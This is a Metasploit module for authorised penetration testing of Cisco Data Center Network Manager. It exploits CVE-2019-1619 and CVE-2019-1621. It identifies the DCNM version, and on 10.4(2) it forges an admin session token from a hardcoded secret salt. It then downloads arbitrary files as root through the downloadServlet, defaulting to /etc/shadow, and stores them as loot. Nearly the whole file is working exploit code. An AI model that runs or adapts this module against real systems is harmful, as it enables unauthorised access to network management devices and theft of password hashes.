##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Deprecated
  moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',
        'Description' => %q{
          DCNM exposes a servlet to download files on /fm/downloadServlet.
          An authenticated user can abuse this servlet to download arbitrary files as root by specifying
          the full path of the file.
          This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
          work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
          (see References to understand why).
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2019-1619' ],
          [ 'CVE', '2019-1621' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
        ],
        'DisclosureDate' => '2019-06-26',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Connect with TLS', true]),
        OptString.new('TARGETURI', [true, 'Default server path', '/']),
        OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),
        OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),
      ]
    )
  end

  def auth_v11
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fm/'),
      'method' => 'GET',
      'vars_get' =>
      {
        'userName' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    # get the JSESSIONID cookie
    if res && res.code == 200 && res.get_cookies
      res.get_cookies.split(';').each do |cok|
        if cok.include?('JSESSIONID')
          return cok
        end
      end
    end
  end

  def auth_v10
    # step 1: get a JSESSIONID cookie and the server Date header
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'fm/'),
      'method' => 'GET'
    })

    # step 2: convert the Date header and create the auth hash
    if res && res.headers['Date']
      jsession = res.get_cookies.split(';')[0]
      date = Time.httpdate(res.headers['Date'])
      server_date = date.strftime('%s').to_i * 1000
      print_good("#{peer} - Got sysTime value #{server_date}")

      # auth hash format:
      # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
      session_id = rand(1000..50000).to_s
      md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
                               'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'
      md5_str = Base64.strict_encode64(md5)

      # step 3: authenticate our cookie as admin
      # token format: sessionId.sysTime.md5_str.username
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
        'cookie' => jsession,
        'vars_get' =>
        {
          'token' => "#{session_id}.#{server_date}.#{md5_str}.admin"
        },
        'method' => 'GET'
      )

      if res && res.code == 500
        return jsession
      end
    end
  end

  def run
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),
      'method' => 'GET'
    )
    noauth = false

    if res && res.code == 200
      if res.body.include?('version":"11.1(1)')
        print_good("#{peer} - Detected DCNM 11.1(1)")
        print_status("#{peer} - No authentication required, ready to exploit!")
        noauth = true
      elsif res.body.include?('version":"11.0(1)')
        print_good("#{peer} - Detected DCNM 11.0(1)")
        print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
        jsession = auth_v11
      elsif res.body.include?('version":"10.4(2)')
        print_good("#{peer} - Detected DCNM 10.4(2)")
        print_status("#{peer} - No authentication required, ready to exploit!")
        jsession = auth_v10
      else
        print_error("#{peer} - Failed to detect module version.")
        print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')
        print_error(res.body)
        print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")
        jsession = auth_v10
      end
    end

    if jsession || noauth
      print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),
      'method' => 'GET',
      'cookie' => jsession,
      'vars_get' => {
        'showFile' => datastore['FILEPATH']
      }
    )

    if res && res.code == 200 && !res.body.empty?
      filedata = res.body
      vprint_line(filedata.to_s)
      fname = File.basename(datastore['FILEPATH'])

      path = store_loot(
        'cisco-DCNM.http',
        'application/octet-stream',
        datastore['RHOST'],
        filedata,
        fname
      )
      print_good("File saved in: #{path}")
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
    end
  end
end
